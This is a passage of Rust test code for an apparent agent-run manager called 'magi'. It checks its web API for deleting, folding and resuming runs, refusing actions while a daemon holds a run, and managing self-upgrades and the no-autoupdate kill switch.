14009 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14011 assert_eq!(res.status, 204);
14012 assert!(res.body.is_empty(), "204 has no body");
14013 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14014
14015 let run_running = "20260901-000000-rung";
14020 write_run(&runs, run_running, RunStatus::Prep);
14021 let mut beat = crate::daemon::Status::new();
14022 beat.current = vec![crate::daemon::Current {
14023 task: "20260901-000000-task".to_owned(),
14024 run: run_running.to_owned(),
14025 }];
14026 beat.updated_at = jiff::Timestamp::now();
14027 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14028 .expect("publish a heartbeat");
14029 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14030 assert_eq!(res.status, 409);
14031 assert!(
14032 res.json()["error"]
14033 .as_str()
14034 .unwrap()
14035 .contains("live daemon"),
14036 "the refusal must say who is holding it"
14037 );
14038 assert!(
14039 runs.join(run_running).exists(),
14040 "a run in flight keeps its directory"
14041 );
14042
14043 let run_unfolded = "20260901-000000-unfd";
14045 let mut state2 = RunState::new(
14046 PathBuf::from("/repo"),
14047 "main".to_owned(),
14048 "abc".to_owned(),
14049 "instruction".to_owned(),
14050 Config::default(),
14051 );
14052 state2.id = run_unfolded.to_owned();
14053 state2.status = RunStatus::Ready;
14054 state2.candidates.push(crate::run::Candidate {
14055 index: 0,
14056 label: 'A',
14057 agent: "a".to_owned(),
14058 branch: "b".to_owned(),
14059 worktree: PathBuf::from("/w"),
14060 summary: String::new(),
14061 stat: String::new(),
14062 files: 1,
14063 commits: 1,
14064 empty: false,
14065 failed: None,
14066 verified_noop: None,
14067 duration_ms: 0,
14068 folded: false,
14069 });
14070 let dir2 = runs.join(run_unfolded);
14071 std::fs::create_dir_all(&dir2).expect("create dir2");
14072 std::fs::write(
14073 dir2.join("run.json"),
14074 serde_json::to_string(&state2).unwrap(),
14075 )
14076 .expect("write run.json");
14077
14078 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14079 assert_eq!(res.status, 409);
14080 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14081 assert!(dir2.exists(), "unfolded run directory is kept");
14082
14083 let res = fx.delete("/api/runs/nonexistent").await;
14085 assert_eq!(res.status, 404);
14086 }
14087
14088 #[test]
14097 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14098 let start = APP_JS
14099 .find("function renderStats() {")
14100 .expect("renderStats");
14101 let end = start
14102 + APP_JS[start..]
14103 .find("function statsTile(")
14104 .expect("the next top-level function");
14105 let body = &APP_JS[start..end];
14106
14107 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14108 let gate_end = gate_start
14109 + body[gate_start..]
14110 .find("}\n renderStatsQueue")
14111 .expect("the gate's own closing brace, right before the unconditional call");
14112 let gated = &body[gate_start..gate_end];
14113
14114 assert_eq!(
14115 body.matches("renderStatsQueue(").count(),
14116 1,
14117 "renderStats must call renderStatsQueue exactly once: {body}"
14118 );
14119 assert!(
14120 !gated.contains("renderStatsQueue"),
14121 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14122 run-derived panels on an empty run history - the queue panel has to render \
14123 regardless: {gated}"
14124 );
14125 }
14126
14127 #[test]
14128 fn web_ui_delete_contract_in_front_end() {
14129 assert!(APP_JS.contains("deleteRun:"));
14131 assert!(APP_JS.contains("deleteTask:"));
14132
14133 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14135 ..APP_JS.find("function renderRuns").unwrap()];
14136 assert!(!run_cards_slice.to_lowercase().contains("delete"));
14137
14138 assert!(APP_JS.contains("renderRunDelete"));
14140 assert!(APP_JS.contains("runDeleteReason"));
14141 assert!(APP_JS.contains("magi fold"));
14142 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14143
14144 assert!(APP_JS.contains("cancel.focus"));
14146 assert!(APP_JS.contains("armedRunDelete"));
14147 assert!(APP_JS.contains("renderTaskDeleteBox"));
14148 assert!(APP_JS.contains("armed${cap(key)}"));
14149
14150 assert!(APP_JS.contains("disabled: status === \"running\""));
14152 }
14153
14154 #[test]
14174 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14175 let build = APP_JS
14176 .find("function createRunCard")
14177 .expect("createRunCard exists");
14178 let update = APP_JS
14179 .find("function updateRunCard")
14180 .expect("updateRunCard exists");
14181 let end = APP_JS
14182 .find("function renderRuns")
14183 .expect("renderRuns exists");
14184
14185 let builder = &APP_JS[build..update];
14187 let open = builder.find("refs = {").expect("createRunCard sets refs");
14188 let literal = &builder[open + "refs = {".len()..];
14189 let close = literal.find('}').expect("the refs literal is closed");
14190 let published: HashSet<&str> = literal[..close]
14191 .split(',')
14192 .filter_map(|entry| entry.split(':').next())
14194 .map(str::trim)
14195 .filter(|name| !name.is_empty())
14196 .collect();
14197 assert!(
14198 published.len() > 5,
14199 "the refs literal did not parse into names: {published:?}"
14200 );
14201
14202 let mut used: Vec<&str> = Vec::new();
14205 let updaters = &APP_JS[update..end];
14206 for (at, _) in updaters.match_indices("r.") {
14207 let before = updaters[..at].chars().next_back();
14210 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14211 continue;
14212 }
14213 let rest = &updaters[at + 2..];
14214 let len = rest
14215 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14216 .unwrap_or(rest.len());
14217 if len > 0 {
14218 used.push(&rest[..len]);
14219 }
14220 }
14221 assert!(
14222 used.len() > 5,
14223 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14224 );
14225
14226 let missing: Vec<&str> = used
14227 .iter()
14228 .copied()
14229 .filter(|name| !published.contains(name))
14230 .collect();
14231 assert!(
14232 missing.is_empty(),
14233 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14234 never put in `refs` - every card will throw and the list will \
14235 render empty under a count line that says otherwise. Published: \
14236 {published:?}"
14237 );
14238 }
14239
14240 #[tokio::test]
14241 async fn folding_from_the_phone_reports_what_it_removed() {
14242 let fx = Fixture::start().await;
14243 let runs = fx.runs();
14244
14245 let id = "20260901-000000-fold";
14249 write_run(&runs, id, RunStatus::Stalled);
14250 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14251 assert_eq!(res.status, 200);
14252 assert_eq!(res.json()["removed_count"], 0);
14253 assert_eq!(res.json()["run"], id);
14254 assert!(
14255 runs.join(id).exists(),
14256 "a fold keeps the run's record; only the worktrees go"
14257 );
14258 }
14259
14260 #[tokio::test]
14261 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14262 let fx = Fixture::start().await;
14263 let runs = fx.runs();
14264 let wt = fx.home.path().join("wt").join("magi").join("dead");
14265 let id = "20260901-000000-dead";
14266 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14267 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14268 std::fs::create_dir_all(&wt).expect("worktree dir");
14269
14270 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14271 assert_eq!(res.status, 200, "{}", res.body);
14272 assert!(
14273 res.json()["removed_count"].as_u64().unwrap() > 0,
14274 "the worktree this build could not read a state for still went"
14275 );
14276 assert!(
14277 !runs.join(id).exists(),
14278 "an unreadable run has no candidate list to fold selectively, so \
14279 the whole record goes - same as `magi fold` on the CLI"
14280 );
14281 }
14282
14283 #[tokio::test]
14284 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14285 let fx = Fixture::start().await;
14286 let runs = fx.runs();
14287 let wt = fx.home.path().join("wt").join("magi").join("gone");
14288 let id = "20260901-000000-gone";
14289 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14290 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14291 std::fs::create_dir_all(&wt).expect("worktree dir");
14292
14293 let res = fx.delete(&format!("/api/runs/{id}")).await;
14294 assert_eq!(res.status, 204, "{}", res.body);
14295 assert!(!runs.join(id).exists(), "the broken record is gone");
14296 assert!(!wt.exists(), "its worktree is gone too");
14297 }
14298
14299 #[tokio::test]
14300 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14301 let fx = Fixture::start().await;
14302 let runs = fx.runs();
14303 let id = "20260901-000000-live";
14304 write_run(&runs, id, RunStatus::Implementing);
14305
14306 let mut beat = crate::daemon::Status::new();
14307 beat.current = vec![crate::daemon::Current {
14308 task: "20260901-000000-task".to_owned(),
14309 run: id.to_owned(),
14310 }];
14311 beat.updated_at = jiff::Timestamp::now();
14312 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14313 .expect("publish a heartbeat");
14314
14315 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14316 assert_eq!(res.status, 409);
14317 assert!(
14318 res.json()["error"]
14319 .as_str()
14320 .unwrap()
14321 .contains("live daemon"),
14322 "folding under a running agent would pull its worktree away"
14323 );
14324 }
14325
14326 #[tokio::test]
14327 async fn fold_merged_requires_a_pr_url() {
14328 let fx = Fixture::start().await;
14329 let runs = fx.runs();
14330 let id = "20260901-000000-nourl";
14331 write_run(&runs, id, RunStatus::Blocked);
14332
14333 let res = fx
14334 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14335 .await;
14336 assert_eq!(res.status, 400, "{}", res.body);
14337
14338 let blank = fx
14339 .post(
14340 &format!("/api/runs/{id}/fold-merged"),
14341 Some(r#"{"pr_url":" "}"#),
14342 )
14343 .await;
14344 assert_eq!(blank.status, 400, "{}", blank.body);
14345 }
14346
14347 #[tokio::test]
14348 async fn fold_merged_is_404_for_an_unknown_run() {
14349 let fx = Fixture::start().await;
14350 let res = fx
14351 .post(
14352 "/api/runs/nosuchrun/fold-merged",
14353 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14354 )
14355 .await;
14356 assert_eq!(res.status, 404, "{}", res.body);
14357 }
14358
14359 #[tokio::test]
14360 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14361 let fx = Fixture::start().await;
14362 let runs = fx.runs();
14363 let id = "20260901-000000-livemerge";
14364 write_run(&runs, id, RunStatus::Blocked);
14365
14366 let mut beat = crate::daemon::Status::new();
14367 beat.current = vec![crate::daemon::Current {
14368 task: "20260901-000000-task".to_owned(),
14369 run: id.to_owned(),
14370 }];
14371 beat.updated_at = jiff::Timestamp::now();
14372 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14373 .expect("publish a heartbeat");
14374
14375 let res = fx
14376 .post(
14377 &format!("/api/runs/{id}/fold-merged"),
14378 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14379 )
14380 .await;
14381 assert_eq!(res.status, 409, "{}", res.body);
14382 assert!(
14383 res.json()["error"]
14384 .as_str()
14385 .unwrap()
14386 .contains("live daemon"),
14387 "correcting a run's merge underneath a running agent would race \
14388 whatever it is doing to the same `status`/`merge` fields"
14389 );
14390 }
14391
14392 #[tokio::test]
14397 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14398 let fx = Fixture::start().await;
14399 let runs = fx.runs();
14400 let id = "20260901-000000-unconfirmed";
14401 write_run(&runs, id, RunStatus::Blocked);
14402
14403 let res = fx
14404 .post(
14405 &format!("/api/runs/{id}/fold-merged"),
14406 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14407 )
14408 .await;
14409 assert_eq!(res.status, 400, "{}", res.body);
14410 assert_eq!(
14411 read_run(&runs, id).unwrap().status,
14412 RunStatus::Blocked,
14413 "a pull request that could not be confirmed merged must leave \
14414 the run exactly where it was"
14415 );
14416 }
14417
14418 #[tokio::test]
14419 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14420 let fx = Fixture::start().await;
14421 let runs = fx.runs();
14422
14423 for (status, word) in [
14429 (RunStatus::Merged, "merged"),
14430 (RunStatus::Ready, "ready"),
14431 (RunStatus::Failed, "failed"),
14432 ] {
14433 let id = format!("20260901-000000-{}", &word[..4]);
14434 write_run(&runs, &id, status);
14435 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14436 assert_eq!(res.status, 409, "{word} must not be resumable");
14437 let err = res.json()["error"].as_str().unwrap().to_owned();
14438 assert!(err.contains(word), "the refusal names the status: {err}");
14439 }
14440
14441 let mid = "20260901-000000-midf";
14446 write_run(&runs, mid, RunStatus::Reviewing);
14447 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14448 assert_eq!(res.status, 202, "an interrupted run is resumable");
14449 }
14450
14451 #[tokio::test]
14452 async fn resume_is_refused_while_the_loop_is_running() {
14453 let fx = Fixture::start().await;
14454 let runs = fx.runs();
14455 let stalled = "20260901-000000-stal";
14456 write_run(&runs, stalled, RunStatus::Stalled);
14457
14458 let mut beat = crate::daemon::Status::new();
14462 beat.current = vec![crate::daemon::Current {
14463 task: "20260901-000000-task".to_owned(),
14464 run: "20260901-000000-othr".to_owned(),
14465 }];
14466 beat.updated_at = jiff::Timestamp::now();
14467 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14468 .expect("publish a heartbeat");
14469
14470 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14471 assert_eq!(res.status, 409);
14472 let err = res.json()["error"].as_str().unwrap().to_owned();
14473 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14474 assert!(err.contains("stop it first"), "{err}");
14475 }
14476
14477 #[test]
14478 fn a_run_cannot_be_resumed_twice_at_once() {
14479 let home = TempDir::new().expect("temp home");
14480 let ui = Ui::new(
14481 Queue::at(home.path().join("queue")),
14482 Questions::at(home.path().join("questions")),
14483 Talks::at(home.path().join("talks")),
14484 home.path().join("runs"),
14485 home.path().to_path_buf(),
14486 PathBuf::from("/repo"),
14487 )
14488 .with_worktrees_root(home.path().join("wt"));
14489 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14490 let again = ui.begin_resume("20260901-000000-once");
14491 assert!(again.is_err(), "a second tap must not start a second graph");
14492 drop(first);
14493 assert!(
14494 ui.begin_resume("20260901-000000-once").is_ok(),
14495 "and the claim is released when the attempt ends"
14496 );
14497 }
14498
14499 #[test]
14500 fn talk_thinking_tracks_only_its_held_turn_claim() {
14501 let home = TempDir::new().expect("temp home");
14502 let ui = Ui::new(
14503 Queue::at(home.path().join("queue")),
14504 Questions::at(home.path().join("questions")),
14505 Talks::at(home.path().join("talks")),
14506 home.path().join("runs"),
14507 home.path().to_path_buf(),
14508 PathBuf::from("/repo"),
14509 )
14510 .with_worktrees_root(home.path().join("wt"));
14511 let id = "20260901-000000-once";
14512
14513 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14514 let turn = ui.begin_talk_turn(id).expect("claim turn");
14515 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14516 assert!(
14517 !ui.is_thinking("20260901-000000-other"),
14518 "one talk's turn does not make another talk busy"
14519 );
14520 drop(turn);
14521 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14522 }
14523
14524 #[test]
14525 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14526 let home = TempDir::new().expect("temp home");
14527 let talks = Talks::at(home.path().join("talks"));
14528 let ui = Ui::new(
14529 Queue::at(home.path().join("queue")),
14530 Questions::at(home.path().join("questions")),
14531 talks.clone(),
14532 home.path().join("runs"),
14533 home.path().to_path_buf(),
14534 PathBuf::from("/repo"),
14535 )
14536 .with_worktrees_root(home.path().join("wt"));
14537 let id = "20260901-000000-cross";
14538
14539 let other = Talks::at(home.path().join("talks"))
14540 .claim_turn(id)
14541 .expect("claim")
14542 .expect("the other process wins");
14543 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14544 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14545 assert!(
14546 matches!(
14547 ui.begin_talk_turn_unless_pending(id).expect("start"),
14548 TalkTurnStart::Foreign
14549 ),
14550 "a foreign holder is refused, not queued behind"
14551 );
14552 assert!(
14553 !ui.talk_turns.lock().unwrap().live.contains(id),
14554 "a refused claim leaves no in-process entry behind"
14555 );
14556 drop(other);
14557 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14558 assert!(talks.turn_held(id), "the web turn holds the lease");
14559 drop(turn);
14560 assert!(
14561 !talks.turn_held(id),
14562 "dropping the guard releases the lease"
14563 );
14564 }
14565
14566 #[test]
14567 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14568 let home = TempDir::new().expect("temp home");
14569 let talks = Talks::at(home.path().join("talks"));
14570 let ui = Ui::new(
14571 Queue::at(home.path().join("queue")),
14572 Questions::at(home.path().join("questions")),
14573 talks.clone(),
14574 home.path().join("runs"),
14575 home.path().to_path_buf(),
14576 PathBuf::from("/repo"),
14577 )
14578 .with_worktrees_root(home.path().join("wt"));
14579 let id = "20260901-000000-order";
14580 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14581 let slots = ui.talk_turns.lock().unwrap();
14583 let dropper = std::thread::spawn(move || drop(turn));
14584 let start = std::time::Instant::now();
14585 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14586 std::thread::sleep(Duration::from_millis(5));
14587 }
14588 assert!(!talks.turn_held(id), "the lease is released first");
14589 assert!(slots.live.contains(id), "the slot is still held meanwhile");
14590 drop(slots);
14591 dropper.join().expect("join");
14592 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14593 }
14594
14595 #[tokio::test]
14596 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14597 let fx = Fixture::start().await;
14598 let mut beat = crate::daemon::Status::new();
14602 beat.pid = 4321;
14603 beat.updated_at = jiff::Timestamp::now();
14604 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14605 .expect("publish a heartbeat");
14606
14607 let res = fx.post("/api/upgrade", None).await;
14608 assert_eq!(res.status, 409);
14609 let err = res.json()["error"].as_str().unwrap().to_owned();
14610 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14611 assert!(err.contains("old one against the same queue"), "{err}");
14612 }
14613
14614 #[test]
14621 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14622 assert!(!should_spawn_recheck(&crate::config::Update {
14623 mode: UpdateMode::Off,
14624 interval: None,
14625 }));
14626
14627 unsafe {
14630 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14631 }
14632 let killed = should_spawn_recheck(&crate::config::Update {
14633 mode: UpdateMode::Notify,
14634 interval: None,
14635 });
14636 unsafe {
14637 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14638 }
14639 assert!(
14640 !killed,
14641 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14642 one-time startup check"
14643 );
14644
14645 assert!(should_spawn_recheck(&crate::config::Update {
14646 mode: UpdateMode::Notify,
14647 interval: None,
14648 }));
14649 }
14650
14651 #[test]
14657 fn recheck_poll_period_tracks_a_short_configured_interval() {
14658 let short = crate::config::Update {
14659 mode: UpdateMode::Notify,
14660 interval: Some("1m".to_owned()),
14661 };
14662 let period = recheck_poll_period(&short);
14663 assert!(
14664 period <= Duration::from_secs(30),
14665 "a one-minute interval must wake the task far sooner than the \
14666 default ceiling, or the deck would not notice within the \
14667 interval the operator configured: got {period:?}"
14668 );
14669
14670 let default = crate::config::Update {
14671 mode: UpdateMode::Notify,
14672 interval: None,
14673 };
14674 assert_eq!(
14675 recheck_poll_period(&default),
14676 UPDATE_RECHECK_POLL_MAX,
14677 "the default day-long interval should poll at the (capped) \
14678 ceiling rather than needlessly often"
14679 );
14680 }
14681
14682 #[test]
14690 fn recheck_skips_the_network_before_the_interval_elapses() {
14691 let dir = TempDir::new().expect("temp dir");
14692 let path = dir.path().join("state.json");
14693 let state = kaishin::UpdateCheckState {
14694 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14695 last_known_latest: None,
14696 last_known_url: None,
14697 };
14698 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14699
14700 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14701 assert!(
14702 !update_recheck_due(&checker, None),
14703 "a check made moments ago must not be repeated before the \
14704 configured interval elapses"
14705 );
14706 }
14707
14708 #[test]
14714 fn recheck_defers_to_an_upgrade_already_in_flight() {
14715 let dir = TempDir::new().expect("temp dir");
14716 let path = dir.path().join("state.json");
14717 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14718 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14719
14720 assert!(
14721 !update_recheck_due(&checker, Some(&progress)),
14722 "a recheck must not run while an upgrade this deck started is \
14723 still moving"
14724 );
14725 }
14726
14727 #[tokio::test]
14728 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14729 unsafe {
14741 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14742 }
14743 let fx = Fixture::start().await;
14744 let res = fx.post("/api/upgrade", None).await;
14745 unsafe {
14746 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14747 }
14748 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14749 let body = res.json();
14750 assert!(body["to"].is_null(), "there was no release to move to");
14751 assert!(body["parked"].is_null(), "and nothing was parked");
14752 assert!(
14753 body["detail"]
14754 .as_str()
14755 .unwrap()
14756 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14757 "{body:?}"
14758 );
14759 }
14760
14761 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14762 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14763 p.stage = stage;
14764 p
14765 }
14766
14767 #[test]
14768 fn busy_stages_match_the_ui_set() {
14769 use crate::updater::Stage;
14770 assert!(APP_JS.contains(
14771 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14772 ));
14773 for s in [
14774 Stage::Downloading,
14775 Stage::Replaced,
14776 Stage::Parking,
14777 Stage::Restarting,
14778 ] {
14779 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14780 }
14781 for s in [Stage::Done, Stage::Failed] {
14782 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14783 }
14784 assert!(upgrade_in_motion(None).is_none());
14785 }
14786
14787 #[tokio::test]
14788 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14789 use crate::updater::Stage;
14790 for stage in [
14791 Stage::Downloading,
14792 Stage::Replaced,
14793 Stage::Parking,
14794 Stage::Restarting,
14795 ] {
14796 let fx = Fixture::start().await;
14797 let seeded = seeded_progress(stage);
14798 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14799 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14800 .expect("read");
14801
14802 let res = fx.post("/api/upgrade", None).await;
14803 assert_eq!(res.status, 409, "{stage:?}");
14804 let err = res.json()["error"].as_str().unwrap().to_owned();
14805 assert!(err.contains("already in progress"), "{err}");
14806 assert!(err.contains(stage.as_str()), "{err}");
14807
14808 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14809 .expect("read");
14810 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14811 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14812 .unwrap_or_default();
14813 assert!(!log.contains("signalling HANDOVER"), "{log}");
14814 }
14815 }
14816
14817 #[tokio::test]
14818 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14819 use crate::updater::Stage;
14820 let repo = TempDir::new().expect("repo dir");
14821 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14822 .expect("write magi.toml");
14823 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14824 for stage in [Stage::Done, Stage::Failed] {
14825 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14826 let res = fx.post("/api/upgrade", None).await;
14827 assert_eq!(res.status, 200, "{stage:?}");
14828 }
14829 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14831 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14832 }
14833
14834 #[tokio::test]
14835 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14836 let repo = TempDir::new().expect("repo dir");
14852 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14853 .expect("write magi.toml");
14854 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14855
14856 let res = fx.post("/api/upgrade", None).await;
14862 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14863 let body = res.json();
14864 assert!(body["to"].is_null(), "there was no release to move to");
14865 assert!(body["parked"].is_null(), "and nothing was parked");
14866 assert!(
14867 body["detail"]
14868 .as_str()
14869 .unwrap()
14870 .contains("nothing restarted"),
14871 "{body:?}"
14872 );
14873 }
14874
14875 #[tokio::test]
14876 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14877 let repo = TempDir::new().expect("repo dir");
14882 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14883 .expect("write magi.toml");
14884 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14885
14886 let health = fx.get("/api/health").await.json();
14887 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14888 assert_eq!(
14889 health["update"]["available"], false,
14890 "checking is off, which reads as \"unknown\", not \"none\""
14891 );
14892 assert!(health["update"]["to"].is_null());
14893 assert!(
14894 health["upgrade"].is_null(),
14895 "nothing has ever asked this deck to upgrade"
14896 );
14897 }
14898
14899 #[tokio::test]
14900 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14901 let fx = Fixture::start().await;
14902 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14903
14904 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14905 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14906 progress.advance(crate::updater::Stage::Parking);
14907 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14908
14909 let health = fx.get("/api/health").await.json();
14910 assert_eq!(health["upgrade"]["stage"], "parking");
14911 assert_eq!(health["upgrade"]["from"], "0.5.1");
14912 assert_eq!(health["upgrade"]["to"], "0.5.2");
14913 let waiting_on = health["upgrade"]["waiting_on"]
14914 .as_str()
14915 .expect("waiting_on is set while parking a known run");
14916 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14917 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14918 }
14919
14920 #[tokio::test]
14921 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14922 let fx = Fixture::start().await;
14923 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14924 progress.advance(crate::updater::Stage::Done);
14925 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14926
14927 let health = fx.get("/api/health").await.json();
14928 assert_eq!(health["upgrade"]["stage"], "done");
14929 assert!(
14930 health["upgrade"]["waiting_on"].is_null(),
14931 "nothing to wait on once it is done"
14932 );
14933 }
14934
14935 #[tokio::test]
14936 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14937 let home = TempDir::new().expect("temp home");
14938 let runs = home.path().join("runs");
14939 std::fs::create_dir_all(&runs).expect("runs dir");
14940 let ui = Ui::new(
14941 Queue::at(home.path().join("queue")),
14942 Questions::at(home.path().join("questions")),
14943 Talks::at(home.path().join("talks")),
14944 runs,
14945 home.path().to_path_buf(),
14946 PathBuf::from("/repo/magi"),
14947 )
14948 .with_launch(launch_idle);
14949 let looping = ui.looping();
14950 let turns = ui.turns();
14951 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14952 .await
14953 .expect("bind loopback");
14954 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14955
14956 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14957 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14958
14959 hand_over(
14960 home.path(),
14961 &looping,
14962 &turns,
14963 &|_: &[String]| Duration::from_secs(5),
14964 served,
14965 |_| Ok(1),
14966 )
14967 .await
14968 .expect("hand over");
14969
14970 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14971 assert_eq!(
14972 after.stage,
14973 crate::updater::Stage::Restarting,
14974 "hand_over owns the record through parking and up to restarting; \
14975 the successor is what finishes it"
14976 );
14977 }
14978
14979 #[tokio::test]
14982 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14983 for fail in [false, true] {
14984 let home = TempDir::new().expect("temp home");
14985 let ui = idle_ui(&home);
14986 let looping = ui.looping();
14987 let turns = ui.turns();
14988 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14989 .await
14990 .expect("bind loopback");
14991 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14992 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14993 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14994
14995 let calls = std::sync::atomic::AtomicUsize::new(0);
14996 let outcome = hand_over(
14997 home.path(),
14998 &looping,
14999 &turns,
15000 &|_: &[String]| Duration::from_secs(5),
15001 served,
15002 |_| {
15003 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15004 if fail {
15005 anyhow::bail!("no exec")
15006 } else {
15007 Ok(4242)
15008 }
15009 },
15010 )
15011 .await;
15012 assert_eq!(outcome.is_err(), fail);
15013 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15014
15015 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15016 .expect("upgrade.log is written under the home");
15017 for step in [
15018 "entered",
15019 "finish_loop",
15020 "listener released",
15021 "starting the successor",
15022 ] {
